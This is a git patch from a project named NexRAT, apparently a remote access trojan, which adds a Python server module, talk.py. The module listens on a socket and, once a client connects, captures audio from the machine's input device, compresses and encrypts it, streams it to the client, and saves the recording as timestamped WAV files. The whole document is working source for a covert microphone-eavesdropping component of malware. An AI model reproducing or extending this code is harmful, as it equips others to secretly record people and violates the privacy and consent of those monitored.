From 18a3d3bc354e667bc58385e59745b82b53695139 Mon Sep 17 00:00:00 2001 From: AL-LCL Date: Fri, 19 May 2023 11:06:25 +0200 Subject: NexRAT --- Modules/Servers/talk.py | 113 ++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 113 insertions(+) create mode 100644 Modules/Servers/talk.py (limited to 'Modules/Servers/talk.py') diff --git a/Modules/Servers/talk.py b/Modules/Servers/talk.py new file mode 100644 index 0000000..499fadd --- /dev/null +++ b/Modules/Servers/talk.py @@ -0,0 +1,113 @@ +import pyaudio +import socket +import pickle +import zlib +import time +import wave + +from Utilities.db_queries import get_module_data +from Specific.encrypt import Encryption +from sys import exit + +try: + info = get_module_data() + talk_settings = [] + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.bind((info[1], int(info[3].split(',')[4]))) + s.listen() +except: + exit(0) + + +def talk_info(): + info = '\n' + + for index, setting in enumerate(talk_settings): + info += f' - {setting[0]}[{index}]' + if len(talk_settings) > 1 and index + 1 != len(talk_settings): + info += '\n' + + if len(talk_settings) == 0: + info = 'False' + + return info + + +def set_talk_settings(index): + global talk_settings + + try: + if index == '*': + for talk_setting in talk_settings: + talk_setting[1].close() + return 'Talks closed!' + else: + talk_settings[int(index)][1].close() + return 'Talk closed!' + except: + return 'Talk failed to close.' + + +def Talk(encoding, path, user): + try: + global talk_settings + + CHUNK = 81920 + FORMAT = pyaudio.paInt16 + CHANNELS = 2 + RATE = 44100 + headersize = 10 + new_msg = True + msg_len = 0 + full_msg = b'' + frames = [] + + e = Encryption() + client, addr = s.accept() + + u = (user, client, addr) + talk_settings.append(u) + + p = pyaudio.PyAudio() + stream = p.open(format=FORMAT, channels=CHANNELS, rate=RATE, input=True, output=False, frames_per_buffer=CHUNK) + + msg = pickle.dumps(stream.read(CHUNK)) + msg = zlib.compress(msg, 1) + msg = e.do_encrypt(msg) + final_msg = bytes(f'{len(msg):<{headersize}}', encoding) + msg + client.send(final_msg) + + while True: + try: + client_msg = client.recv(1024) + + if new_msg: + msg_len = int(client_msg[:headersize]) + new_msg = False + + full_msg += client_msg + + if len(full_msg)-headersize == msg_len: + data = stream.read(CHUNK) + frames.append(data) + + msg = pickle.dumps(data) + msg = zlib.compress(msg, 1) + msg = e.do_encrypt(msg) + final_msg = bytes(f'{len(msg):<{headersize}}', encoding) + msg + client.send(final_msg) + + new_msg = True + msg_len = 0 + full_msg = b'' + except: + talk_settings.remove(u) + waveFile = wave.open(f'{path}/{time.strftime("%Y-%m-%d (%H-%M-%S)")}.wav', 'wb') + waveFile.setnchannels(CHANNELS) + waveFile.setsampwidth(p.get_sample_size(FORMAT)) + waveFile.setframerate(RATE) + waveFile.writeframes(b''.join(frames)) + waveFile.close() + exit(0) + except: + exit(0) \ No newline at end of file -- cgit v1.2.3